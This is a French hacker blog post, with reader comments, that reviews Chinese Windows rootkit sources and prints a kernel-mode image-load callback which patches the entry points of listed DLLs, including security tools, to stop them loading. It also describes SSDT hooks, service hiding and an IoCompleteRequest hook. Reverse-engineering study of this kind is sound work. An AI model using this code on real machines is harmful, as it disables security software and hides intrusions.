Sudami

mars 26th, 2008 at 03:30 admin

Hummmm je surfais tranquillement sur le net en train de chercher de la doc sur des trucs perdu de Windows quand je suis tombé sur un blog chinois, mais pas n’importe quel blog ! Un putain de blog de ouf sous amphétamines qui prend de la cocaïne. http://hi.baidu.com/sudami/ est tout simplement monstrueux, même si je capte rien au chinois, rien que voir les codes et les schémas qui sont de dessus, ca me fait tourner la tête.

Nvmini, contient le code d’un rootkit kernel-land pas mal foutu, d’après ce que j’ai vu qu’il effectuait les opérations suivantes :

  • Installation de hook dans la SSDT sur les API ZwSaveKey, ZwQueryDirectoryFile, ZwClose, ZwEnumerateKey, ZwLoadDriver, ZwDeleteValueKey et ZwDeleteKey.
  • Le rk installe une callback sur le chargement de module avec l’API PsSetLoadImageNotifyRoutine. La routine de callback est la suivante :
    VOID
    MyLoadImageRoutine(
        IN PUNICODE_STRING ImageName,
        IN HANDLE ProcessId,
        IN PIMAGE_INFO ImageInfo
        )
    {
    	BOOL  bFind;
    	ULONG Length;
    	WCHAR Name[300];
    	PEPROCESS   proc;
    	PVOID       pImageBase;
    	SIZE_T      dwSize;
    	PVOID       pOEP;
    	KIRQL       oldIrql;
    	PIMAGE_DOS_HEADER       dos;
        PIMAGE_NT_HEADERS       nth;
    	PIMAGE_OPTIONAL_HEADER  poh;
    	PHYSICAL_ADDRESS physicalAddress;
    
    	if (ImageName == NULL) {
            return;
        }
    
        Length = ImageName->Length;
        if ((Length == 0) || (ImageName->Buffer == NULL)) {
            return;
        }
    
    	bFind = FALSE;
    	RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
    	_wcsupr(Name);
    
    	if ( ( (wcsstr( Name, L"DLLWM.DLL" ) != NULL) && (wcsstr( Name, L"SYSTEM32" ) != NULL) ) ||
    			( (wcsstr( Name, L"WININFO.RXK" ) != NULL) && (wcsstr( Name, L"COMMON FILES" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINDOWS" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINNT" ) != NULL) ) ||
    			(wcsstr( Name, L"WINDHCP.DLL" ) != NULL) ||
    			(wcsstr( Name, L"DLLHOSTS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"NOTEPAD.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RPCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDSHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"LGSYM.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RUND11.DLL" ) != NULL) ||
    			(wcsstr( Name, L"MDDDSCCRT.DLL" ) != NULL) ||
    			(wcsstr( Name, L"WSVBS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"CMDBCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"UPXDHND.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDFHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"safe" ) != NULL) ||
    			(wcsstr( Name, L"anti" ) != NULL) ) {
    				bFind = TRUE;
    	}
    
    	if ( bFind == FALSE ) {
    		return;
    	}
    
    	if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
    		return;
    	}
    
    	KeAttachProcess (proc);
    
    	pImageBase = ImageInfo->ImageBase;
    	dwSize     = ImageInfo->ImageSize;
    
    	try {
    		ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
    	} except(EXCEPTION_EXECUTE_HANDLER) {
    		return;
    	}
    
    	dos     = (PIMAGE_DOS_HEADER) pImageBase;
        nth     = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
    	poh     = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;
    
    	if( (dos->e_magic != 0x5a4d) || (nth->Signature != 0x00004550) ) {// "MZ" "PE\0\0"
    		return;
    	}
    
    	pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
    	physicalAddress = MmGetPhysicalAddress( pOEP );
    
    	ProbeForWrite ( pOEP, 5, sizeof(CHAR));
    
    	WPOFF(); // write protection disabled, 16eme bit du cr0 à 0, permet d'écrire en ring0 dans des pages RO
    	oldIrql = KeRaiseIrqlToDpcLevel();
    
    	RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );
    
    	KeLowerIrql(oldIrql);
    	WPON();
    
    	KeDetachProcess();
    }

    Cette routine va être appelée au moment du chargement de chaque DLL. Comme vous pouvez le voir, la routine va vérifier si le nom de la DLL chargée apparaît dans une liste prédéfinie, si oui, alors le thread courant s’attache au contexte du process qui charge la DLL avec KeAttachProcess, retrouve l’EntryPoint de DLL en parcourant son PE Header puis le modifie par le code contenu dans la var g_Code qui est :

    BYTE g_Code[5] = { 0x33, 0xC0, 0x0C, 0x00, 0x00 };

    Ce qui correspond en asm à :

    33C0          XOR EAX, EAX
    0C 00         OR AL, 0

    La doc nous dit que si le DllMain d’une fonction renvoie 0, alors la DLL n’est pas chargée dans le process. D’ailleurs je me demande ou est le RET du code copié sur l’EP, pas très pratique si la DllMain ne retourne pas … En tout cas c’est joli trick pour éviter que certaines DLL ne soient loadées.

  • On retrouve aussi dans le fichier HideService.c le code posté sur rootkit.com par i.m.weasel permettant de planqué un service. Ce code va, depuis le noyau, patché le process services.exe qui tient à jour une liste de structures SERVICE_RECORD contenant des infos sur les services en cours.
  • Je vous laisse découvrir le reste, mais il y a des fonctions inachevées. Ca reste quand même un code sympa à étudier.

Par contre un post qui m’a fait pleurer, AK922, contient le code de plusieurs version du rootkit AK922, celui même que j’avais reversé … Le lien sur la page renvoie sur un fichier .sys mais il s’agit bien d’une archive .rar qui contient les sources. Si vous les voulez, je les ai uppé sur mon repo en virant les bouts de chinois des noms de fichiers.

La source du binaire que j’avais reversé n’est pas présente dans l’archive, cependant celle qui s’en rapproche le plus se trouve dans le ak922_sys_c.zip et franchement en la voyant je suis assez content de ce que j’ai réussi à comprendre dessus, parce que ca fait vraiment de la peur. Pour rappel, AK922 est un rootkit assez original qui va installer un hook sur la routine IoCompleteRequest. Cette routine est très importante pour l’I/O Manager, c’est elle qui va compléter les IRP en les renvoyant à l’appelant. En contrôlant cette routine le rootkit peut donc voir le retour de la requête fait par exemple par un syscall comme NtQueryDirectoryFile et modifier son contenu. Par contre le code qui gère ca vient d’ailleurs, c’est affolant, regardez le code de la fonction DispatchIofCompleteRequest et vous verrez. Remarquez que cette fonction est la version améliorée de AkHideFile qui se trouve dans le Mian.rar, c’est celle-ci que j’ai reversé. Enfin, bref, ca me fout un peu les boules …

Je vous laisse surfer sur le blog de Sudami, c’est vraiment génial, ce gars est un super coder/reverser. Dommage que ca doit en chinois. Ce que je retiens, c’est qu’en voyant ce genre de blogs, je me dis que les chinois sont vraiment des brutes épaisses et qu’au final ils ont vraiment les moyens de faire très mal. C’est vrai, ils ont certains avantages certes, mais à les voir, on à l’impression qu’ils restent dans leur monde, entre eux, à partager les découvertes et travaux dans leur langue ! Ils ont rippé ce qu’ils ont pu trouver dans les docs/ebooks/sites/blogs de par le net et ont mit ca à leur sauce puis ils ont cherché par eux mêmes. Au final, ca paye bien, ils savent faire des rootkits :] Et pendant ce temps là, nous, on les regarde …

Au passage, les blogs de ses potes, lynux et micropoint, ont l’air bien puissants aussi …

Entry Filed under: C:

5 Comments

  • 1. Dynasty  |  mars 26th, 2008 at 08:58

    Je suis assez d’accord avec ce que tu dis sur les Chinois… a savoir quand-meme, en postant dans « leur langue », ils rendent accessible leur doc a plus d’un milliard de gens sur cette planete ;)
    C’est a se demander pourquoi le Chinois n’est pas encore une 2eme langue a college!

    [ paradoxe: la petite musique sur son blog est en Anglais :)) ]


  • 2. mxatone  |  mars 26th, 2008 at 09:20

    Yop fan absolue du chocapic.

    En faite le code remplacer ca donne ca sur l’entrypoint de kernel32 (t’as oublie le dernier 0) :

    7C80B5AE > 8BFF MOV EDI,EDI
    7C80B5B0 55 PUSH EBP
    7C80B5B1 8BEC MOV EBP,ESP
    7C80B5B3 837D 0C 01 CMP DWORD PTR SS:[EBP+C],1
    7C80B5B7 0F84 30D40000 JE kernel32.7C8189ED
    7C80B5BD 5D POP EBP

    devient

    7C80B5AE > 33C0 XOR EAX,EAX
    7C80B5B0 0C 00 OR AL,0
    7C80B5B2 0083 7D0C010F ADD BYTE PTR DS:[EBX+F010C7D],AL
    7C80B5B8 8430 TEST BYTE PTR DS:[EAX],DH
    7C80B5BA D4 00 AAM 0
    7C80B5BC 005D 90 ADD BYTE PTR SS:[EBP-70],BL

    Donc y a clairement un truc qu’on comprend pas. En plus je ne vois pas l’interet de faire un xor eax, eax et un or al, 0 … Y a peut etre un endroit secret ou s’est modifié ou le gars a volontairement enlever l’element original.


  • 3. raymond le  |  mars 30th, 2008 at 12:57

    il faut savoir pour info que les étudiants chinois n’ont pas forcément accès aux langues étrangères.. certes, je ne sais plus d’où je sors ça..


  • 4. kranius  |  avril 10th, 2008 at 10:50

    w00t, les codes sont impressionants oO

    ils ont un petit shellcode assez puissant :

    http://hi.baidu.com/sudami/blog/item/ac76e84befff84f383025c41.html

    les coms sont en chinois par contre…


  • 5. chantecode  |  avril 22nd, 2008 at 10:54

    Vous noterez au passage que l’un des kernel mode debugger actuels, parmi les plus prometteurs, est chinois:
    http://www.sysersoft.com/


Trackback this post


Calendar

juillet 2019
L Ma Me J V S D
« fév    
1234567
891011121314
15161718192021
22232425262728
293031  

Most Recent Posts